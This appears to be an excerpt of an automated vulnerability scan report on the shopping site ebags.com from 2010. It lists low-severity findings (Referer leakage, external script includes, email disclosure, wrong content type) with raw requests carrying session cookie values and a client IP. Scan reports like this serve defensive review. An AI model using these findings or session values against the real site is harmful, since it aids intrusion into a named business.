HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:03:00 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:03:00 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 43406
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel_accessories/car_travel_accessories/category_search/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:15:54 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:15:54 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 127301
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel_accessories/travel_electronics_cases/category_search/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:16:11 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:16:11 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 127353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
4. Cross-domain Referer leakagepreviousnext There are 20 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /blocks/ajax/helppop-up.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:02:17 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Cache-Control: private Content-Type: text/html; charset=UTF-8 Content-Length: 3761
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The response contains the following Content-type statement:
Content-Type: text/xml
The response states that it contains XML. However, it actually appears to contain HTML.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /w3c/p3p.xml HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Content-Length: 269 Content-Type: text/xml Last-Modified: Mon, 26 Jan 2009 16:59:06 GMT Accept-Ranges: bytes ETag: "" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 26 Dec 2010 14:02:11 GMT Connection: close